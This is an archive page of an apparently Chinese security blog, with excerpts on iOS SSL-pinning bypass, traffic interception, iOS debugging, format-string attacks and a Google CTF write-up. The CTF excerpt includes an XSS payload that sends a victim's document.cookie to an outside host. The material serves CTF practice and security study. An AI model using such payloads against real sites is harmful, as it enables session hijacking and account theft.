Monthly Archives: May 2016

hook iOS的libcurl

0x00 背景

我们知道,为了防止中间人攻击(MITM ),一般iOS应用会使用SSL Pinning。大多数情况下,这些App会使用AFNetworking或者NSURLSession这两个库来做SSL Pinning。但是这两个库使用了iOS提供的AFSecurityPolicy类,该类又调用了SSLHandshake,SSLCreateContext等iOS的API,只要hook了这几个API(ssl-kill-switch2),即可bypass SSL Pinning。但是最近发现某App并未使用这两个库进行SSL Pinnig,而是使用了libcurl和openssl来做SSL Pinning,这两个库被编译成native代码,静态链接到App binary中,没有symbol了,让我们的分析与bypass难度大大增加。

0x01 寻找libcurl的位置

Continue reading

使用Packet Filter将iPhone流量转发到burp proxy上

0x00 背景

我们知道,如果想要用burp截取iPhone流量,可以将iPone接入mac的共享wifi,再将iPhone的wifi代理设置为burp的监听接口与端口即可。但是实际使用中,ssl等流量有时并不会被转发到burp上,我个人推测是只有使用iOS内置的NSURLSession等库的时候代理的设置才会被使用。除此之外的情况,我们需要使用路由表,强制将流量转发到burp上去。
Continue reading

iOS程序动态debug方法

0x00 背景

最近在做iOS程序的debug,将步骤记录一下。部分参考此文一步一步用debugserver + lldb代替gdb进行动态调试

0x01 各种安装

debugserver运行在iOS上,顾名思义,它作为服务端,实际执行LLDB(作为客户端)传过来的命令,再把执行结果反馈给LLDB,显示给用户,即所谓的“远程调试”。在默认情况下,iOS上并没有安装debugserver,

Continue reading

64位机器上的Format String攻击

0x00 Format String攻击基础

  1. printf里的%n意味将之前输出的字符的个数输入到指定的参数里,比如
    printf("aaa%n",&num);
    

    此时num的值为3。

  2. printf里的数字+$可以指定要输出第几个参数,比如:

    int num1 = 1;
    int num2 = 2;
    printf("%2$d,%1$d\n",num1,num2);
    

    输出为2,1。

  3. 本文实验环境为ubuntu 12.04,64bit,网上有一些32bit的攻击已经过时了。参考:how-to-use-format-string-attack
    Continue reading

2016_google_ctf_writeup

0x00 我的第一场CTF

第一次参加CTF,google的CTF,和公司的同事一起参加的,最后2400多个队里排到了第34名,不过我自己只解出来五道题。

0x01 Wallowing Wallabies - Part One

从robots.txt里找到可以攻击的页面,第一个可以攻击的页面是deep-blue-sea/team/vendors,用一个简单的XSS就可以拿到cookie,使用该cookie登陆即可。Payload:

</pre><script src=""></script>
<img id="atk"><script>document.getElementById("atk").src="http://www.mydomain.com/xxx.php?val="+document.cookie</script><pre>

Continue reading